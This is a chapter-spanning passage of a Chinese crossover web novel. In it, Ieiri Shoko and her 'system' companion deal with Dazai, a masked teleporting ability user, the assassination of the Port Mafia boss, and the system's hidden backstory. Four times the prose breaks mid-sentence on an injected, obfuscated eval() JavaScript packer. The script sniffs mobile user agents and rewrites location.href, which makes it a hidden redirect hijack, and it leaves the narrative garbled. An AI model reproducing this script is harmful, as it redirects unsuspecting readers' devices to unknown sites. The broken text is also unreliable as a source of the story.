“办公室门外一人,门内三人,太宰先生和森鸥外都在办公室里面,和——”系统说到这里时,语气变得有些奇怪,“和某个男人在一起。” 硝子感到有些意外,她还以为这么久的时间,那孩子有极大可能已经遭遇不测了,或是被杀或是被掳,只是没想到他居然还安全地在里面。 而且……还和敌人有说有笑的样子? 硝子看着系统传到自己面前的两成人一少年,一幅好不和谐的画面,不由沉默了几秒。 这些人在玩什么把戏。 不过她很快又发现了其中另外一个异常。 在系统之前提供的地图信息中,诊所里分明只有三个点存在,可如果再加上守在办公室门外的那个异能力者,那片区域里总共应该有四个点存在才对。 系统又出错了? 就在这时,硝子突然回想起她被黑衣人追杀的那天晚上,在系统扫描出的地图里,似乎也没有出现代表着太宰的那个点。 在她要拐进的那个巷道中,地图上显示没有一个人存在。 一个猜测逐渐在硝子的脑海中浮现—— 难道说,不是系统出了错,而是太宰本身……有问题? 是因为少年的特殊性,所以系统才无法检测出他的存在,所以一次两次的,地图上的扫描信息才会出现信息不相同的错误。 这个可能性让硝子落在门把上的手顿住,她看了一眼旁边还在提醒她注意安全的系统,最后还是手下用力,走进这间在黑暗中被灯光充斥整个房间的小小诊所。 诊所内的结构并不复杂,硝子很轻易就看到了守在办公室门口的那个男人。 说是男人其实并不确切,事实上硝子并不能看到对方的面孔。 那人头戴洁白的魔术帽,一件长而大的斗篷披在他的半肩上,他脸上是由大片白色构成的面具,身上的穿着也是由大片白色所构成的类似小丑的衣服,一颗红色绒球缀在披风和衣服的衔接处。 对方似乎毫无躲藏的意思,即使是被硝子这么肆无忌惮地打量着,也只是在面具下露出一声轻轻的笑声。 这道饱含着戏谑的笑声回荡在空旷的房间里,让硝子不由皱起了眉。 但他却毫不理会,像是在举行某种盛大的开幕式一般,他戴着深色手套的手拉起洁白的斗篷,就对硝子做了一个极为夸张的行礼,随后食指伸到白色面具上嘴角的弧度前。 他就这么半抬起头,弯着腰对硝子做了一个“嘘”的手势。 “那位可不想在这种时候被打扰,所以,耐心点等等吧。再耐心点。” 像是对自己刚刚说出口的话感到新奇,他顿了一顿,之后又是一声轻笑,笑声愉悦而轻快,随后不再管硝子,像是在兀自回味着什么。 如果不看他脸上那张笑容诡异的面具,这画面确实还算得上赏心悦目。 但硝子现在无心关注这些,她只是看着系统再次飞进那间被对方守着的办公室内。 现在看来,对方应该只是来谈论某些事情,应该不会危及到性命危险,房间里的那两个人似乎暂时是安全的。 那么她此时也不必再着急,硝子便趁着这会儿功夫仔细端详起眼前的人。 眼前这个外表状似小丑又像魔术师的人应该就是那些黑衣人口中的异能力者,可硝子看了半天也只从外表上看出他是个绝对的怪人之外,其他什么都看不出来。 如果不是系统提供给她的资料上标注了对方会使用一种名为“外套”的异能力,硝子无论如何也联想不到那方面的能力。 异能力“外套”——可以将披风内侧与30米内的其他空间相连接。 硝子再次看向他身披的那件斗篷。 所以他才可以将那群人严防死守的防线轻易打破,所以即使是这么多装备齐全的壮硕之人,也能被轻易击倒。 因为只要身处他周身30米的范围内,哪里都可以成为他的攻击角度,即使是普通方式轻易无法到达的死角。 这就是异能力者和普通人之间的区别。 这种能力看上去有点类似于她们那个世界所常说的术式,各种不同的术式也代表着各种不同的能力,这让硝子再度想起那个几乎无法完成的任务,她不由深深叹了口气。 要相信自己这个普通人能从这些异能者手中拯救世界? 那还不如相信地球能倒转,夏油成了救世主,五条爱吃鼻涕虫,宿傩最喜欢做慈善—— 没可能,根本没可能。 如果对方有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356813|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,他甚至可以在不被硝子察觉到的情况下,轻而易举地杀掉她,就像收拾掉门外的那些人一样。 但硝子转念又一想,既然如此,那现在这种状况是不是也就代表着,对方没有对她动手的理由。 更或者说,有着某种不能动手的理由? 对方似乎对自己的到来并不惊讶,这从一定程度上证明了这一点。 但鉴于对方一直表现的非常奇怪,硝子需要谨慎一点。 于是在这段长久的沉默之后,硝子试探性地问出了第一句话:“你们到底是——” 然而,她的话还没说完,那扇半掩的门“吱呀”一声,就被突然从里面打开。 走出来的人让硝子一时间愣在了原地。 刚刚系统传给她的图像中只显示出了这人的背面,尽管当时硝子觉得有些眼熟,在那种情况下她也并没有多想,现在在这种地方看到这双熟悉的眼睛和打扮,硝子不由得一阵沉默。 这人,是之前在小钢珠店时帮她解围的那个男人。 似乎并不意外在这里看到硝子,那个男人微微眯了眯眼睛,对着硝子点了一下头,然后侧过脸对他身旁的怪异小丑轻声道,“走了。” “那么……诸君,下次再会。” 小丑模样的魔术师微笑着说完这句话,之后应该是动用了自己的异能,转瞬间硝子眼前白布飞扬,两人的身影瞬间消失在房间里,宛如一场华丽的魔术秀。 家入硝子猛地向前跨了几步,但随即又站在了原地。 各种信息在她脑海中拧成一团乱麻,硝子想要厘清这些信息,但总觉得还缺少了什么最关键的东西。 就在这时,外面传来一阵杂乱的脚步声,与此同时,太宰治也出现在了硝子的面前。 由于没有锁门,外面那些人很快便冲进了这间不大的诊所。 硝子很快意识到这是来支援的港口黑手党的人。 她下意识推了推鼻梁处的深色墨镜,然后退向一旁不起眼的地方—— 里面难保没有认识她的人。 领头的是一位外表看起来有些年迈的老者,尽管行动有些仓促,但他的外表看上去仍然十分优雅端庄,一袭深色外袍和挂在脖间的围巾在后面一众黑衣人中格外显眼。 他戴着单边眼镜,在太宰面前深深垂下了头:“黑蜥蜴百夫长广津柳浪,接到调遣前来支援。” 太宰看着他,半天没有说话,这种沉默带来的压力在房间里蔓延,让那位看上去足足比他大上好几轮的老者在没有收到回应的时候,也没敢抬头。 “你迟到了。” 太宰最后轻飘飘地说。 广津的头低的更深了:“抱歉,路上出了点意外,但我知道这不应该成为借口。” 太宰没再说话,因为他身后的办公室里突然传来了急促的电话铃声。 应该是还在里面的森鸥外接了电话,很快办公室里传来他惊讶的声音: “什么?有人潜入大厦刺杀了首领?!” 12.混乱·拒绝·质问 横滨黑暗势力的基石,号称地下最强大的组织港口黑手党,在那天晚上几乎乱成了一锅粥。 不仅是因为自家首领突然被人刺杀—— 还因为他们甚至连作案人是谁,作案动机和手段是什么都毫不清楚。 没有人知道那个杀手究竟是怎么潜入防御滴水不漏的大厦的,也没有人知道那人究竟是怎么到达那么高,戒备又那么森严的首领办公室并将人刺杀的。 在那之前,办公室里没有发出任何动静和声音,直到有人想要进去请示什么的时候,才发现他们的首领早已经遭人毒手。 监控设备的人员和所有值守人员都表示没有发现任何异常,即使在这些人里还有防守和监视方面的异能高手。 虽说首领也拥有异能,可如今被病痛长期折磨的他身形早已消瘦不堪,如今也不过是在森医生的治疗下勉强进行工作,相较于工作时间,他的卧床时间则更长。 房间里几乎很少有挣扎的迹象,这也足以说明问题。 总之,等到手下人发现不对劲的时候,他们的首领正躺在那张宽大柔软的床上,被病痛折磨的瘦削身体形如枯木,颧骨突出的脸上露出一副狰狞的表情。 之所以被判定为刺杀,则是因为首领当时的表情。 他瞪圆了眼睛,似是在最后的时刻看到了什么不可置信的一幕。 直到死时,他也没有瞑目。 他们不清楚首领最后究竟看到了什么,但他们知道,如果这个消息走漏出去,无疑将会是一场波及整个横滨地下世界的动荡。 这绝对相当于一次黑暗世界的大地震。 而与此同时,港口黑手党无疑会成为风尖浪口之上的一块浮木,成为众人眼中的一块肥肉—— 不仅是那些一直在暗中盯着他们,意图在他们虚弱的时候随时补上一口后分尸的地下鬣狗们,还有那些总是对他们虎视眈眈,妄图让他们彻底消失的异能特务科。 如果说之前的港口黑手党如同落日余晖,尚且还能发挥出它仍然剩存的威严,那么现在港口黑手党,就是被黑暗彻底淹没的无头苍蝇。 没有了首领的指挥,他们的下场只有被分尸和撕裂,走向四分五裂的结局。 所以,这个消息在第一时间就被直接封锁了,他们只告诉了首领的专属医生森鸥外。 森鸥外被紧急带往首领办公室查看具体情况,虽说所有人都知道存活的希望渺茫,但这一刻,他们都希望这微渺的希冀能够成为现实。 否则他们都将面临更加严峻的后果。 港口黑手党的几座大厦在第一时间进入了防御模式,他们现在甚至连依附于他们的那些其他势力也顾不得,只在几处重要的位置也加强了防守。 防止有人趁机来攻打—— 这不无可能,毕竟这个组织现在正是最混乱最虚弱的时候。 而且首领的死亡也是疑点重重,森医生的进一步诊断,将会成为他们下一步行动的指标—— 如果是敌对势力的刺杀,那么他们必将要承受港口黑手党反扑的怒火。 但是在那之前,他们还有更重要的事情需要作出决定。 太宰在第一时间和其他五位干部召开了干部会议。 作为由首领委托的专属军师,太宰治的身世无人知晓,但他被首领所器重的事实大家都有目共睹,尽管这个少年出现在人前的时间不过短短一个月。 但也就是这短短一个月,他就让港口黑手党的势力范围整整扩大了几乎一倍。 他的鬼谋神算和铁血手腕也同样深入人心,让人打心底里对这个仅仅十四岁的少年感到恐惧。 在这之后,几乎没人会对他的决定和选择再有所置喙。 在太宰离开诊所之前,他曾询问硝子是否要和他一起去,那时其他人已经先行离开,小小的诊所里只有他和家入硝子两人。 …… 明亮的灯光下,太宰治鸢色的双眸一如既往,平静而幽长,那深处像是藏了什么不可明说的东西,让硝子有些看不懂。 但对方的潜台词已经很明显了—— 太宰治是这群人里唯一知道硝子在这个世界的真实身份的。 如果硝子同他一起回去,那么结果很明显,她将会成为最有可能继承首领之位的那个人。 “干部中至少有一半是支持你上位的。” 太宰见硝子沉默着,于是又补充道:“……如果再加上我的推荐,你成为首领的概率无疑会直线上升——即使是那些稍微有些微词的人,他们也不会再说什么。” 即使他口中的有些微词,是指那些有意想要让他们自己成为新任首领的干部。 太宰说这话时神态很是平和,语气也是一如之前的平静,没有丝毫起伏。 但听在硝子的耳中,这话却仿佛带有一种魔力。 她在那一瞬间感觉,对方像是神话故事中常见的那种恶魔,在对心智脆弱的人类进行某种不可说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368734|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引诱,带着几分不明所以的愉快。 可家入硝子眨眨眼后清楚地看到,对方的表情依旧和之前一样,像是落日前的海面,平静到没有一丝一毫的波动。 家入硝子思考片刻后,摇了摇头:“抱歉。” 她拒绝了。 和之前一样,硝子直到现在依旧认为,自己并不适合坐在那个位置上,即使在刚刚听到她那个便宜父亲遭到刺杀时,她的内心产生了一丝轻微的不明显波动。 但也仅限于此。 之前也说过,她对这个世界并没有什么强烈的归属感和认同感,唯一一个让她留在这里的原因,不过是内心深处里一个不可明说的微弱念想。 她既没有要称霸地下世界的疯狂幻想,也没有能够彻底无视人命的狠辣手段。 太宰治听到她的回答后,深深地看了她一眼,那眼神硝子依旧看不懂,但她知道,这件事大概到此就已经结束了。 硝子不由松了口气。 这样也好,她至少应该不会再成为那些人的眼中钉了。 如果事情真能就这么顺利发展下去,甚至那个造成飞机事故的幕后黑手,以及组织里那个想要除掉她的不知名首领候选人,应该也不会再对她感兴趣了吧。 太宰没再说什么。 他很快便离开了,黑色轿车的尾部消失在道路尽头。 当然,之前的那群人,连同诊所门外的那些,也仿佛一开始就不存在似的消失了,只剩巷道中残存的血腥味还在宣告着什么。 等到周围彻底安静下来,硝子转身回到诊所内。 她把门打上锁,然后一把抓过肩膀上的金属团子,放到自己面前用力捏了捏。 她挑了挑眉:“好了,你可以继续招供了。太宰治究竟是什么人?你跟他又是什么关系?” 第一次问起时说之后再说。 第二次问起时又打马虎眼转移话题。 一次两次的,真把她当成傻子耍了吗? 家入硝子只是懒得计较而已,又不是真的傻,何况,就算是再迟钝的人,在这几次的接触中,也不可能察觉不到一丝异常之处。 硝子把心虚到缩成一团的金属玩偶放到柜子上,食指用力弹了一下。 黑白金属玩偶在桌上滚了好几圈。 见它不说话,硝子干脆发出最后通牒。 “你到底在隐瞒什么……还是说,你更想一个人完成你那个‘破’任务?” “!” 13.真相·过往·系统 系统被硝子这突然发出的直白质问吓了一跳,它似乎有一瞬间宕机了,就那么呆呆地坐在那里,几乎一动也不动。 只是没过一会儿,它就又有了反应。 系统看上去似乎还想再挣扎一下,它每隔一段时间,就抬起头来看一眼硝子,接着又低下头沉默,接着又抬头看看硝子,然后继续低头沉默。 就这么不厌其烦地重复了好几遍。 家入硝子也不说话。 她显得并不着急,双手悠闲插在白大褂的口袋里,像是在配合着它似的,在这漫长的寂静中沉默着。 硝子就那么看着缩在墙边,有些支支吾吾的系统,又过了好一会儿,系统才终于在她有如实质的目光下动了动。 “我……我只是怕你知道了以后,会真的放弃跟我的合作。” 系统机械的话语难得戴上了几分失落和委屈,如果不是硝子知道它只是个由代码和金属构成的生物,恐怕都要以为自己是不是在欺负别人家的小孩了。 家入硝子头一次对自己与系统说话的方式产生了一丝怀疑,她或许不该这么直白? “……” 但眼下不是思考这些的时候,硝子抬了抬下巴,示意它继续:“姑且先说说看。” 像是下定了某种决心,系统在硝子的注视下,把它对硝子隐瞒的事情一一说出。 在系统简短的解释中,硝子终于明白过来。 “……所以是说,你根本就没有被派来拯救世界?” 系统有些羞愧地缩成一团:“是,是的。” 硝子一时间不知道该说些什么。 她原本还怀疑这个所谓的“大文壕系统”突然绑定了自己“拯救世界”是不是拿错了剧本,结果现在对方告诉她,这个剧本其实根本就不存在,只是对方擅自行动后的结果。 家入硝子面无表情:“……” 精彩。 那她这两天所受的苦难算什么。 算她倒霉吗? 系统强顶着硝子此刻压迫性极强的目光,冒着不存在的赛博冷汗,继续把没说完的话说了下去。 在系统的解释中,硝子明白了过来。 …… 系统原是由本源世界的一个名叫沃斯通克拉夫特的博士所制造的人工智能系统,而制造它的缘由,则是当时突然在本源世界的各个地方发现了世界即将毁灭的征兆。 各地异能组织也顾不得他们之间的嫌隙和利益纠缠,加紧对此进行了调查,结果调查出来的事实令他们大吃一惊—— 世界即将因为无法承载过多的特异点的能量而毁灭。 他们几乎是在同一时间默契地停止了所有地方有关异能特异点的研究和相关的战争准备。 但这也只是略微减缓了毁灭的到来,他们对异能的肆意研究和使用早已在时间的长河中,为这个世界留下不可磨灭的痕迹。 毁灭终将到来。 为了寻求世界的一丝微弱的存在可能性,各地异能研究专家放下彼此心中的成见,将拯救世界的任务作为他们的首要目标,开始了漫长的研究。 在研究中,他们真的发现了一丝可能性。 而系统就是在那个研究合作中所诞生的,承载“拯救世界”任务万分之一可能性的其中之一。 这本该是一件很好的事。 然而,不幸的是,由于某些不可预料的疏忽,系统9958的诞生和其他系统有着实质性的区别—— 系统9958的一部分数据出了错。 也就是说,它是拯救系统中天生的残次品。 系统好像天生就拥有感情模块系统,但这正是作为拯救系统的它所最不需要的。 拯救系统需要拥有能够绝对执行命令的严格和冷酷,这一点无从质疑,即使这些系统身上背负的使命是拯救世界这一美好愿景。 就像一个即将踏上战场的士兵,他的心软和无谓的感情,很有可能会成为这场战争失败的导火索。 拯救系统9958作为系统中的残次品,被淘汰了。 作为拯救系统,它的使命尚未开始,就已被宣判终结。 但它的统生并没有就此结束。 因为沃斯通克拉夫特博士的心软,系统9958并没有被销毁,反而是作为全世界各国异能势力第一次合作的纪念品,赠送给了之前那次为拯救世界而做出卓越努力和牺牲的日本政府。 他们都希望这个和平的象征,能够在以后为数不多的时间里,一直保存和提醒着人们这个值得珍惜的大团结时刻。 作为以前根本接触不到的博士的作品,系统曾在异能特务科停留过一段时间。 期间港口黑手党曾以各种理由想要借去看看,只是之后不知为何,它最终还是被转交给了武装侦探社,成为了那里的吉祥物之一。 而正是在这时,系统9958第一次认识了太宰治。 …… 说到这里,系统微妙地停顿了很长时间,引来了硝子的好奇。 “怎么不说了?” 虽然不知道这些东西到底是系统编的还是真的,但听起来确实还挺有意思的。 就是系统从某种意义上来说真的算得上是个孩子这点,让家入硝子的感觉有点难以言喻。 系统沉默了一会儿,叹了口气,它不知在想些什么,总之,现在的它又显得不那么像一个孩子了。 “所以你们认识了多久?”硝子好奇地问道。 “……五年。” 系统的回答有些蔫吧,以及一丝几不可察的沧桑。 家入硝子:“……” 之前的想法成真了,她还真的是在欺负一个半大的小孩。 毕竟照它这么说,按照人类世界的算法,它大概也就只有人类幼崽的五岁,而且还一心只想着完成任务,拯救世界,一点也没有人类幼崽该有的任性。 反而还在她生病的时候来照顾她。 家入硝子:“……” 不存在的良心隐隐作痛。 只是听到系统接下来的话后,硝子备受谴责的良心又隐隐感到了一丝安慰,以及微妙。 因为在系统的世界里,还存在着另一个相比她来说,更为恶劣的人。 系统甚至把他称之为“在人间行走的魔鬼”。 跟这个恶劣的人比起来,周围其他的所有人,甚至是那些作恶的港口黑手党,在它看来都如同天使一般可爱。 系统说的魔鬼,是太宰治。 这下家入硝子总算知道,系统之前面对太宰治的异常表现到底是怎么回事了。 作为吉祥物入驻武装侦探社的系统9958,本以为这里都是一群非常和善可亲的人。 它早已在诞生时就知晓了这个组织的存在,知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382533|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他们是一个为人类分忧的组织,甚至还在之前多次拯救过人类,让世界免于苦难。 虽然因为是残次品而不能继续为拯救世界做出努力让幼小的它极为可惜,但系统9958还是想发挥自己的余热,完成自己和平使者的使命。 然而让它没想到的是,这里简直算得上是它地狱生活的开端! 因为系统和平使者的身份,9958所遇到的绝大部分人类都对它和善可亲,即使在异能特务科时被研究过一段时间,但也只是被博士允许的基于表面的一些研究,而且事后它还会得到大量的赞赏和表扬。 还有很多基于各种人类美味食物的数据投喂。 可在武装侦探社,作为和平使者的系统却饱受精神压迫—— 这一切只因为系统是作为异能的产物而诞生的。 而太宰治的异能力,“人间失格”,恰恰就是消除自身所碰触到的一切异能。 天生的克星。 为此,系统不得不开始继它“淘汰者”之后的新身份:“被奴役者”。 这个恶趣味的男人丝毫不会顾忌系统的友好使者身份,不仅会因为各种各样的无聊琐事让9958帮忙,有时候甚至仅仅只是因为找不到自己钱包,便让系统去帮他把自己赊下的账单抹平。 甚至还让它去一些莫名其妙的地方篡改数据。 只要系统9958有一丁点不乐意的迹象,他就作势要伸出手去吓唬它。 这些都不算什么了,系统虽然作为拯救系统的时间不长,但它还是一心偏向人类的,只要太宰做的事情不是太出格,系统都会照办—— 即使其中一多半都是被太宰治用各种话术哄得晕头转向才做下的。 事后系统经常要自闭很久。 但之后没多久,太宰居然还要求查看它的数据库和运行代码。 系统说到这里时有些委屈,忍不住提高了嗓门: “你说他这样和让别人当街脱裤子有什么区别?!” 家入硝子:“……” 这,让她怎么回答。 不过—— “难道系统还有羞耻心?” 硝子的思绪没忍住歪了一下,但她很快意识到自己犯了错。 尽管系统9958黑色的小眼睛一动没动,硝子还是直觉自己似乎被它埋怨地瞪了一眼。 看着因为回首不堪的过去而陷入暴躁的系统,家入硝子举起双手眨眨眼,表达自己的无辜。 一时间忘记它是“特殊”的了。 她沉默了一会儿,对系统的遭遇深表同情,然后突然说道:“说了这么多,虽然知道你们是怎么认识的了,但这看起来和现在的他没什么关系啊?” 这时的太宰,不管怎么看,也没有系统所说的那种跳脱的性格,不仅如此,在这种强烈反差的相比之下,他们倒好像是两个完全不同的人一样。 硬要说的话,感觉这时候的他,反而比系统所描述的那个十几年后的他,显得要成熟多了。 系统说的那些,几乎没有什么可以用得到的信息。 系统发出一声幽幽的叹息:“等我给你看他之前的数据,你就知道了。” 说着,系统就在自己的数据库里检索起来,但没过多久,它的嘴巴就大大张开,像是被塞了什么东西一样,久久没有合上。 “他的数据……不见了。” 14.数据·记忆·偏差 “他的数据……太宰先生的数据,不见了……” 系统9958喃喃自语着,开始埋头在自己的数据库里搜寻起来,却迟迟没有动静。 小小的金属玩偶独自站在柜子最上层,贴着墙壁一动不动,它黑色的小眼睛里闪过无数绿色的数字,就像一台正在进行精密运算的计算机。 家入硝子有些意外地看着系统,随后沉默等待着。 一分钟过去。 两分钟过去。 五分钟过去…… “没有,还是没有……” 系统清楚的记得,自己曾经还把太宰的资料调出来看过,但此刻的它,却怎么也找不到那份资料。 系统9958翻遍了它的整个数据库,为了防止遗漏甚至连犄角旮旯里的旧数据都挨个翻了一遍,最后嗵地一声,一屁股坐在柜子上,动作迟缓地把头转向硝子。 “怎么办,宿主,真的找不到了……不会是我穿过世界缝隙的时候不小心弄丢了吧……” 尽管系统只是个人造异能机器,硝子却从它的表情里读到了某种深深的绝望。 现在看来,系统应该确实没有说谎。 她想了一会儿,对系统说:“那你就先大概给我讲一讲你印象中的他吧,生平事迹之类的?” 系统低头沮丧了好一会儿,才缓缓开了口。 从它口中,硝子才看了到他的另一面,她之前的想法确实有些单纯了,一个人无法完全抛弃自己过去,就像无法完全舍去自己的灵魂。 系统之前所讲的那个太宰治,只是作为一整个“太宰治”中的小小一部分而已,就像她来到这个世界后所知道的他,不过只是其中的冰山一角。 真要说的话,他就像是一个行走在人间的幽灵,身形鬼魅,无法捕捉,也无处不在。 几乎在所有看得到或看不到的地方,都有他的身影存在。 从之前的老首领之死,新首领上位,“荒霸吐”事件,魏尔伦事件,龙头抗争,港口黑手党的崛起,mimic事件,再到之后的加入武装侦探社,与港口黑手党对立,异能兵器事件,组合事件,异能力者连续自杀事件,死屋之鼠,天人五衰…… 只要有他在的地方,必然少不了争端和斗争—— 不过这么解释确实有些偏颇,硬要说的话,这个人倒像是无时无刻不在奔赴着死亡,哪里有被死神笼罩的战场,哪里就会有他的身影。 而如果非要用什么来形容这个人,那就只有四个字可以概括。 足智近妖。 至于他那些荒诞不羁的行径,与其说是变成了一个完全不同的人,不如说更像是一层罩于其上,用来掩盖自身黑暗过去而扰人视线的薄纱。 如果系统所说的这些全部属实,那硝子真的要怀疑,系统擅自来到这里绑定自己进行拯救世界,是否真的出自它自身的意愿了…… 家入硝子这么想着,也这么问了。 但系统的回答很是坚决。 “我是背着他逃出来的,毕竟与其一直在那里当他的奴隶,还不如出来拯救世界,而且那个时候,世界已经在——” 它说到这里,停顿了一下,最后才小声补充道。 “……已经在崩溃的边缘了。” 家入硝子对系统的回答不置可否。 毕竟以那人堪称绝妙的“操心术”来说,系统这个不过刚刚诞生五年的,思维尚处于稚儿时期的拯救系统,怎么可能斗的过它口中的“太宰先生”。 而且系统还说那边的那个“太宰先生”曾经要求过查看它的数据库和底层代码,尽管系统再三强调那之后的它也检查过自己的数据,并没有出现什么异样。 可如果真的没有异样,那为什么别的系统都叫拯救系统,而它对自己的全称是“大文壕系统”? 9958安静了一会儿,弱弱解释道:“……那是太宰先生要求改的,他说这样比‘拯救系统’好听多了,还能让人一眼看了就喜欢。” 还说如果要待在武装侦探社,一定要起一个吉利点、有福气的名字。 系统当时也不信,可问了武装侦探社的好几个人,他们都说着“钱是好东西”“有钱确实好”之类的话。 然后系统就被忽悠地改了自己的底层代码。 “……” 真好骗啊。 家入硝子不禁感叹,这年头还能找到这么好骗的小孩可不容易。 不过她对于系统的这个答案显得毫不意外,因为这样一来,答案就更明显了。 她眼前坐着的,是一个被人骗了还要帮人数钱的小笨蛋。 硝子二话不说,抬脚回到自己的卧室就开始收拾起东西来。 她的东西并不多,就两套衣服一个人,当然作为一整天的助手费,硝子顺手从森鸥外的办公室里拿了点钱,作为日结工资。 系统看着硝子的一通操作,不禁有些茫然:“您这是在做什么?” “跑路。”硝子回答。 系统更茫然了:“跑路做什么……” 不跑路难道留在这儿等死吗。 硝子没说话。 身边有两个这么危险的人物,她不跑路能行吗? 本来不知道还好说,可一旦知道了她身边现在都围着一群什么妖魔鬼怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388396|166581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,硝子真是一秒也待不下去了。 不然她怕是连自己最后是怎么死的都不知道。 太宰治这人暂且按下不提,就是那个看起来一副老实样的森鸥外,在本源世界里居然就是搞死她“便宜爹”自己上位的罪魁祸首。 不难想象,如果对方有一天知道了自己的真实身份,到时候将会发生什么。 也难怪太宰要对他隐瞒自己的身份。 这个世界真危险,怎么到处都有人想要自己的小命—— 家入硝子动作忽的顿住。 “……” 她沉默了一会儿,感觉自己好像发现了什么不太对劲的地方。 家入硝子思考了片刻,忽然问系统:“我记得你之前说过关于世界偏差值之类的东西,是吧?” 系统一下没刹住车,脑袋结结实实撞在硝子胸前。 它脑袋晕晕地摇晃了两下,慢吞吞道: “我正要和您说起这个呢,因为世界偏差值的缘故,一些在本源世界做过某些事的人,在这个世界可能并不会那么做,而一些没做过的,可能会去做。所以您不用太过担心森鸥外的事,而且还有一个事情我还没有来得及告诉您。” “什么?”硝子问。 “是关于太宰先生的‘特异点’的事。太宰先生曾经与本源世界的‘书’接触过——也就是这些碎片世界诞生的原因之一一-而那个‘特异点’就导致,平行世界的‘太宰先生’,有可能会拥有本源世界的记忆。” 而系统之前所担心的,也正是这一点。 它不能确定,这个世界的太宰到底是否拥有来自那个世界的记忆,这样也就无法确定,太宰对于硝子来说,到底意味着威胁还是可靠。 “那不是很简单,”硝子说,“看他的行动轨迹和本源世界有没有差别不就知道了。” 照目前的情况和系统的说辞来看,太宰治明显像是拥有记忆的样子,刚刚硝子也是想到了这一点,才突然问出那个问题。 她本以为太宰的行为产生变化是因为世界偏差值,但现在看来,也有极大可能是因为本源世界的“太宰”与“书”产生的那个特异点。 但是立刻,硝子又皱眉否定了自己的想法。 不对。 系统的犹豫,不是因为分辨不清太宰和本源世界的区别。 事实上,这种区别是相当明显的,毕竟本源世界的太宰在这个时候并没有做出这些举动。 它只是无法分辨,这种区别究竟是“特异点”带来的,还是世界的偏差值带来的…… 而这一点,除了太宰本人以外,其他人无从知晓。 15.现实·决定·反击 家入硝子坐在床边,望着眼前空荡荡的桌面,久久没有动作。 她似乎是在思索着什么,长长的棕发披散在肩头,姣好的面容被笼罩在一片深色之中。 天花板上的灯将她的影子投射到墙边,那团深灰偶尔因为灯光的轻微闪烁而显得很不稳定,但紧接着又会立刻恢复正常。 这种沉默持续了很久,直到一旁的系统忍不住飞到她眼前晃来晃去,企图吸引她的注意力。 “宿主,您怎么了?” 小小的金属团子飞到了硝子眼前,一双黑豆大的眼睛对着她眨了眨:“您怎么开始发起呆了?” 硝子回过神来,松开紧皱的眉心。 她缓缓摇了摇头:“……没事。” 系统哦了一声,又继续询问道:“那您还‘跑路’吗?” 系统这话问的有些小心翼翼,像是有自己的小心思。 它也知道自己不擅长隐瞒,于是顿了顿又说,“虽然我不是很赞同,但如果您执意要这么做,我也会配合您的。” 硝子目光扫向身旁收拾好的衣服和钱,想了想,又把这些东西都放回到了原位,她对系统说:“暂时不了,我又想了一下,现在还不是离开的时候。” 系统那双黑漆漆的眼睛登时亮了一下,它的喜悦简直溢于言表:“对的对的,我也是这么想的!宿主如果要继续任务的话,离太宰先生太远可不是一个好选择。” 自从知道“太宰治”这个人的生平之后,硝子现在也搞清楚了系统的那套逻辑。 既然大部分事件或多或少都要牵扯到他,那么留在他身边无疑是最轻松就能够接触到这些事件的方法之一,而只要有办法把那些事件的苗头扼杀在摇篮里,这个世界的稳定性就能多提高一分。 当然,硝子也没有忘记系统之前说过的那句—— 这个世界还有一年的时间,就要迈向毁灭。 也就是说,这个世界已经快要因为特异点的膨胀而摇摇欲坠,硝子目前需要做的,就是进行干预后将这一时间点暂时后移。 至于其他的解决办法,硝子尚且还想不到有什么。 不过说到底,这些都只是权宜之计,就像无法靠消灭掉所有异能者而拯救世界一样,这个方法也只能暂时推移毁灭的到来,并不能作为最终的解决办法。 系统之前说的太宰不能死,可能也有这一层意思。 还有就是,太宰的异能,和他远异于常人的头脑。 如果想要达成目标,它和她,都需要太宰的帮助,无论他们情愿与否,这一点毋庸置疑。 硝子深深叹了口气。 所以这个世界果真是在和她作对吧,越是不想要做什么,就越是把那个选择摆在她的面前。 不过,系统所说的这些只是硝子的考虑之一而已,她所担心的,其实还有另外一个方面—— 港口黑手党老首领之死。 